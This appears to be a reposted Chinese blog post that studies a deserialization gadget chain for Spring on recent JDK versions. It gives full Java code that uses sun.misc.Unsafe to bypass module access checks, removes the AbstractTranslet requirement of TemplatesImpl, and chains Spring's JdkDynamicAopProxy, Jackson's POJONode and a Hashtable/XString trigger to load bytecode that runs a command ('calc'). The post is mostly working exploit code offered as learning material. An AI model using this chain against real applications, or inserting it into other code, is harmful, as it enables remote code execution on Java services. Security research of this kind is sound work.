高版本jdk下的spring通杀链学习 - sun内部包反射调用。

最近也是学习java高版本的反序列化链,分析一下高版本jdk下的spring通杀链

TemplatesImpl链 调用栈如下:

 
  1. TemplatesImpl#getOutputProperties
  2. TemplatesImpl#newTransformer
  3. TemplatesImpl#getTransletInstance
  4. TemplatesImpl#defineTransletClasses
  5. TemplatesImpl#defineClass
 
 

这里要注意3个参数的赋值

_bytecodes_name_tfactory

这里_name不能为null,如果_class为null就会走到defineTransletClasses

这里首先调用的for循环来遍历_bytecodes变量并将其赋值给_class数组,接着判断父类是否是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果是赋值数组下标_transletIndex0,否则就抛出异常,也就是说 TemplatesImpl的利用链所使用的恶意类是AbstractTranslet的子类

恶意类

 
  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6.  
  7. import java.io.IOException;
  8.  
  9. public class shell extends AbstractTranslet {
  10. @Override
  11. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  12. }
  13. @Override
  14. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  15. }
  16. public shell() throws IOException {
  17. try {
  18. Runtime.getRuntime().exec("calc");
  19. }catch (Exception e){
  20. e.printStackTrace();
  21. }
  22. }
  23. }
 
 

payload

 
  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  3. import java.lang.reflect.Field;
  4. import java.nio.file.Files;
  5. import java.nio.file.Paths;
  6.  
  7. public class demo1 {
  8. public static void main(String[] args) throws Exception {
  9. TemplatesImpl templates = new TemplatesImpl();
  10.  
  11. // 读取恶意 class 文件
  12. byte[] code = Files.readAllBytes(Paths.get("D:\\java\\fastjson\\src\\main\\java\\remo\\shell.class"));
  13. byte[][] codes = {code};
  14.  
  15. // 设置必要字段
  16. setFieldValue(templates, "_bytecodes", codes);
  17. setFieldValue(templates, "_name", "1"); // 必须设置 _name
  18. setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  19.  
  20. // 触发 static{} 执行
  21. templates.newTransformer();
  22. }
  23.  
  24. public static void setFieldValue(Object obj, String fieldName, Object value)
  25. throws NoSuchFieldException, IllegalAccessException {
  26. Field field = obj.getClass().getDeclaredField(fieldName);
  27. field.setAccessible(true);
  28. field.set(obj, value);
  29. }
  30. }
 
 

当然这是低版本的jdk

高版本jdk就存在反射限制了

存在这样一个错误

这是因为 从 Java 9 开始,JDK 引入了 模块化系统(JPMS)。像 com.sun.* 这类属于 JDK 内部实现类,被放在 java.xml 模块中,并且 默认不对外暴露

跟进一下setAccessible方法

只有满足这些条件才可以继续使用反射调用

调用方与目标类在同一模块
目标模块是否对调用方导出或开放包
目标类与成员的修饰符(public/protected/static)及继承关系等条件

那如果我们可以修改当前的module属性,使其同java.*下类的module属性一致来不就可以绕过了吗?

Unsafe是位于sun.misc包下的一个类,它不在com.sun.*包下面,我们可以对它进行反射调用

接下来看看它有什么特别的

  • getUnsafe() 仅允许 Bootstrap ClassLoader 加载的类调用(如 JDK 内部类)。
  • 应用代码必须通过 反射 获取 theUnsafe 字段
 
  1. public final Object getAndSetObject(Object o, long offset, Object newValue) {
  2. return theInternalUnsafe.getAndSetReference(o, offset, newValue);
  3. }
 
 

getAndSetObject,该方法是一个用于原子操作的方法,它主要用于在多线程环境下对对象的字段进行安全的更新操作,可以利用其修改调用类的module

因此可以构造出payloa

 
  1. import javassist.*;
  2. import sun.misc.Unsafe;
  3. import java.lang.reflect.Constructor;
  4. import java.lang.reflect.Field;
  5. import java.lang.reflect.Method;
  6. import java.nio.file.Files;
  7. import java.nio.file.Paths;
  8.  
  9. public class Main {
  10. public static void main(String[] args) throws Exception {
  11. patchModule(Main.class);
  12. byte[] code = Files.readAllBytes(Paths.get("D:\\java\\fastjson\\src\\main\\java\\remo\\shell.class"));
  13. byte[][] codes = {code};
  14. Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  15.  
  16. Object impl = getObject(clazz);
  17.  
  18. setFieldValue(impl,"_name","fupanc");
  19. setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
  20. setFieldValue(impl,"_bytecodes",codes);
  21.  
  22. Method method = clazz.getDeclaredMethod("newTransformer");
  23. method.setAccessible(true);
  24. method.invoke(impl);
  25.  
  26. }
  27. private static void patchModule(Class clazz) throws Exception {
  28. Field field = Unsafe.class.getDeclaredField("theUnsafe");
  29. field.setAccessible(true);
  30. Unsafe unsafe = (Unsafe) field.get(null);
  31.  
  32. long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
  33.  
  34. Module targetModule = Object.class.getModule();
  35. unsafe.getAndSetObject(clazz, offset,targetModule);
  36. }
  37. private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  38. final Field field = obj.getClass().getDeclaredField(fieldName);
  39. field.setAccessible(true);
  40. field.set(obj, value);
  41. }
  42.  
  43. private static Object getObject(Class clazz) throws Exception{
  44. Constructor constructor = clazz.getConstructor();
  45. constructor.setAccessible(true);
  46. Object impl = constructor.newInstance();
  47. return impl;
  48. }
  49. }
 
 

但是会报一个错误

Caused by: java.lang.IllegalAccessError: superclass access check failed: class shell (in unnamed module @0x11028347) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x11028347
 

问题导致原因是这个shellClass是继承的AbstractTranslet,这里还是直接调用了JDK内部API,导致触发模块化检测异常,那如果不继承AbstractTranslet是不是就解决这个问题了呢?

调试一下

可以看到declaringModule 是通过 declaringClass.getModule() 获得的,为 module java.base

由于我们通过unsafe类修改了它的Module值,这里为true,就可以进行反射了

这段代码就是绕过的关键

当类不继承AbstractTranslet 时,会向_auxClasses 中 put 数据,因此还需要保证_auxClasses不为空。还需要实例化 _auxClasses

当 classCount 大于 1 时,即 _bytecodes传入多个类时会将 _auxClasses赋值为 HashMap,也就是说 我们只需要给_bytecodes赋两个byte数组即可,并且控制_transletIndex为合适的下标以匹配defineClass加载后放入到_class数组中的我们自定义的恶意的Class对象

然后下面的那个_transletInd<0抛出异常可以通过反射来修改,_transletIndex没有被标记为 transient 是能参与序列化过程的

给一个思维导图

绕过方法如下:

 
  1. Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
  2. classBytes, ClassFiles.classAsBytes(shell.class)
  3. });
  4.  
  5. Reflections.setFieldValue(templates, "_name", "anyStr");
  6. Reflections.setFieldValue(templates, "_transletIndex", 0);
 
 

至此我们的恶意类就不需要再继承AbstractTranslet 了

payload

 
  1. package org.example;
  2.  
  3. import javassist.*;
  4. import sun.misc.Unsafe;
  5. import java.lang.reflect.Constructor;
  6. import java.lang.reflect.Field;
  7. import java.lang.reflect.Method;
  8.  
  9. public class Main {
  10. public static void main(String[] args) throws Exception {
  11. patchModule(Main.class);
  12.  
  13. //part1
  14. ClassPool classPool = ClassPool.getDefault();
  15. CtClass cc = classPool.makeClass("shell");
  16. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
  17. cc.makeClassInitializer().insertBefore(cmd);
  18.  
  19. byte[] classBytes = cc.toBytecode();
  20. //part2
  21. CtClass cc1 = classPool.makeClass("shell111");
  22. cc1.makeClassInitializer().insertBefore(cmd);
  23.  
  24. byte[] classBytes1 = cc1.toBytecode();
  25.  
  26. byte[][] code = new byte[][]{classBytes,classBytes1};
  27.  
  28. //main
  29. Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  30. Object impl = getObject(clazz);
  31.  
  32. setFieldValue(impl,"_name","1");
  33. setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
  34. setFieldValue(impl,"_bytecodes",code);
  35. setFieldValue(impl,"_transletIndex",0);//0或者1都可以
  36.  
  37. Method method = clazz.getDeclaredMethod("newTransformer");
  38. method.setAccessible(true);
  39. method.invoke(impl);
  40. }
  41. private static void patchModule(Class clazz) throws Exception {
  42. Field field = Unsafe.class.getDeclaredField("theUnsafe");
  43. field.setAccessible(true);
  44. Unsafe unsafe = (Unsafe) field.get(null);
  45.  
  46. long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
  47.  
  48. Module targetModule = Object.class.getModule();
  49. unsafe.getAndSetObject(clazz, offset,targetModule);
  50. }
  51.  
  52. private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  53. final Field field = obj.getClass().getDeclaredField(fieldName);
  54. field.setAccessible(true);
  55. field.set(obj, value);
  56. }
  57.  
  58. private static Object getObject(Class clazz) throws Exception {
  59. Constructor constructor = clazz.getConstructor();
  60. constructor.setAccessible(true);
  61. Object impl = constructor.newInstance();
  62. return impl;
  63. }
  64. }
 
 

再想一下什么类可以调用 getOutputProperties()方法

看下 java.xml模块export了哪些包可以访问

 
  1. exports com.sun.org.apache.xpath.internal to [java.xml.crypto];
  2. exports com.sun.org.apache.xpath.internal.compiler to [java.xml.crypto];
  3. exports javax.xml.stream.util;
  4. exports com.sun.org.apache.xml.internal.utils to [java.xml.crypto];
  5. exports org.w3c.dom.ls;
  6. exports org.w3c.dom.ranges;
  7. exports org.w3c.dom.events;
  8. exports com.sun.org.apache.xpath.internal.functions to [java.xml.crypto];
  9. exports javax.xml.xpath;
  10. exports javax.xml.transform;
  11. exports org.xml.sax;
  12. exports javax.xml.stream;
  13. exports javax.xml.stream.events;
  14. exports org.w3c.dom.traversal;
  15. exports com.sun.org.apache.xpath.internal.objects to [java.xml.crypto];
  16. exports javax.xml.catalog;
  17. exports com.sun.org.apache.xpath.internal.res to [java.xml.crypto];
  18. exports com.sun.org.apache.xml.internal.dtm to [java.xml.crypto];
  19. exports javax.xml.datatype;
  20. exports javax.xml.transform.sax;
  21. exports javax.xml;
  22. exports org.xml.sax.ext;
  23. exports javax.xml.parsers;
  24. exports javax.xml.validation;
  25. exports javax.xml.transform.dom;
  26. exports javax.xml.transform.stream;
  27. exports org.w3c.dom;
  28. exports org.w3c.dom.bootstrap;
  29. exports org.w3c.dom.views;
  30. exports org.xml.sax.helpers;
  31. exports javax.xml.transform.stax;
 
 

可以看到一个完全导出的包:javax.xml.transform。这个包下有一个非常重要的并且我们经常使用的类:Templates接口类, 这个类存在getOutputProperties()方法

我们可以利用aop去代理javax.xml.transform.Templates, 这样在出发getoutputProperties时,moudle就是变为了javax.xml.transform 在一个包下,绕过了moudle限制

这里用的是HasdhMap+XString

思维导图:

 
  1. +--------------------------------------------------+
  2. | Main.main() |
  3. +----------------------+---------------------------+
  4. |
  5. +----------------v------------------+
  6. | 1. 用 Javassist 生成恶意类 |
  7. | - Evil.class: static{ exec("calc") } |
  8. | |
  9. +----------------+------------------+
  10. |
  11. +----------------v------------------+
  12. | 2. 构造 TemplatesImpl 实例 |
  13. | - _bytecodes = [Evil, Evil1] |
  14. | - _transletIndex = 0 |
  15. +----------------+------------------+
  16. |
  17. +----------------v------------------+
  18. | 3. 创建 Spring AOP 代理 |
  19. | Proxy implements Templates ← 公开接口!
  20. | └─ handler → TemplatesImpl ← 内部实现
  21. +----------------+------------------+
  22. |
  23. +----------------v------------------+
  24. | 4. 包装进 Jackson POJONode |
  25. | POJONode(proxy) |
  26. +----------------+------------------+
  27. |
  28. +----------------v------------------+
  29. | 5. 构造触发结构:Hashtable + XString |
  30. | HashMap0: {"yy": node, "zZ": xstr}|
  31. | HashMap1: {"yy": xstr, "zZ": node}|
  32. | Hashtable.put(HashMap0, "1") |
  33. | Hashtable.put(HashMap1, "2") ← 触发 equals()
  34. +----------------+------------------+
  35. |
  36. v
  37. +------------------------------+
  38. | HashMap.equals() 比较 value |
  39. +--------------+---------------+
  40. |
  41. +--------------v---------------+
  42. | XString.equals(node) |
  43. | → obj.toString() ← 关键触发点!
  44. +--------------+---------------+
  45. |
  46. +--------------v---------------+
  47. | POJONode.toString() |
  48. | → Jackson 序列化 proxy |
  49. +--------------+---------------+
  50. |
  51. +--------------v---------------+
  52. | 调用 proxy.getOutputProperties() |
  53. | → JDK 动态代理拦截 |
  54. +--------------+---------------+
  55. |
  56. +--------------v---------------+
  57. | JdkDynamicAopProxy.invoke() |
  58. | → method.invoke(TemplatesImpl, ...) |
  59. +--------------+---------------+
  60. |
  61. +--------------v---------------+
  62. | TemplatesImpl.getOutputProperties() |
  63. | → newTransformer() |
  64. +--------------+---------------+
  65. |
  66. +--------------v---------------+
  67. | 加载 _bytecodes[0] (Evil.class) |
  68. | → defineClass + newInstance |
  69. +--------------+---------------+
  70. |
  71. +--------------v---------------+
  72. | Evil.<clinit> 执行 |
  73. | Runtime.getRuntime().exec("calc") |
  74. +--------------+---------------+
 
 

调试分析:

未经过代理时都在sun包下,不能反射调用

经过JdkDynamicAopProxy类的invoke()方法从而成功调用到要invokeJoinpointUsingReflection()方法

payload:

 
  1. package org.example;
  2.  
  3. import javassist.*;
  4. import org.springframework.aop.framework.AdvisedSupport;
  5. import sun.misc.Unsafe;
  6.  
  7. import java.io.ByteArrayOutputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.Field;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.Proxy;
  13. import java.util.Base64;
  14. import java.util.HashMap;
  15. import java.util.Hashtable;
  16. import com.fasterxml.jackson.databind.node.POJONode;
  17. import javax.xml.transform.Templates;
  18. import com.fasterxml.jackson.databind.node.BaseJsonNode;
  19. public class Main {
  20. public static void main(String[] args) throws Exception {
  21. patchModule(Main.class);
  22. //生成恶意类字节码
  23. ClassPool classPool = ClassPool.getDefault();
  24. CtClass cc = classPool.makeClass("Evil");
  25. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
  26. cc.makeClassInitializer().insertBefore(cmd);
  27. byte[] classBytes = cc.toBytecode();
  28. CtClass cc1 = classPool.makeClass("Evil1");
  29. cc1.makeClassInitializer().insertBefore(cmd);
  30. byte[] classBytes1 = cc1.toBytecode();
  31. byte[][] code = new byte[][]{classBytes,classBytes1};
  32.  
  33. //构造 TemplatesImpl 实例
  34. Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  35. Object impl = getObject(clazz);
  36. setFieldValue(impl,"_name","fupanc");
  37. setFieldValue(impl, "_tfactory", getObject(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl")));
  38. setFieldValue(impl,"_bytecodes",code);
  39. setFieldValue(impl,"_transletIndex",0);//0或者1都可以
  40.  
  41. //设置代理
  42. AdvisedSupport advisedSupport = new AdvisedSupport();
  43. advisedSupport.setTarget(impl);
  44. Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
  45. constructor.setAccessible(true);
  46. Object proxyAop = constructor.newInstance(advisedSupport);
  47. Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler) proxyAop);
  48.  
  49. POJONode node = new POJONode(proxy);
  50.  
  51. //获取XString类实例
  52. Class clazz123 = Class.forName("com.sun.org.apache.xpath.internal.objects.XString");
  53. Constructor constructor123 = clazz123.getConstructor(String.class);
  54. constructor123.setAccessible(true);
  55. Object xString = constructor123.newInstance("111");
  56. Hashtable hash = new Hashtable();
  57. HashMap hashMap0 = new HashMap();
  58. hashMap0.put("zZ",xString);
  59. hashMap0.put("yy",node);
  60. HashMap hashMap1 = new HashMap();
  61. hashMap1.put("zZ",node);
  62. hashMap1.put("yy",xString);
  63. hash.put(hashMap0,"1");
  64. hash.put(hashMap1,"2");
  65.  
  66. }
  67. private static void patchModule(Class clazz) throws Exception {
  68. Field field = Unsafe.class.getDeclaredField("theUnsafe");
  69. field.setAccessible(true);
  70. Unsafe unsafe = (Unsafe) field.get(null);
  71. long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
  72. Module targetModule = Object.class.getModule();
  73. unsafe.getAndSetObject(clazz, offset,targetModule);
  74. }
  75.  
  76. private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  77. final Field field = obj.getClass().getDeclaredField(fieldName);
  78. field.setAccessible(true);
  79. field.set(obj, value);
  80. }
  81.  
  82. private static Object getObject(Class clazz) throws Exception{
  83. Constructor constructor = clazz.getConstructor();
  84. constructor.setAccessible(true);
  85. Object impl = constructor.newInstance();
  86. return impl;
  87. }
  88. }
 
 

高版本jdk下的spring通杀链学习-CSDN博客

posted @ 2026-01-15 15:16  CharyGao  阅读(15)  评论(0)    收藏  举报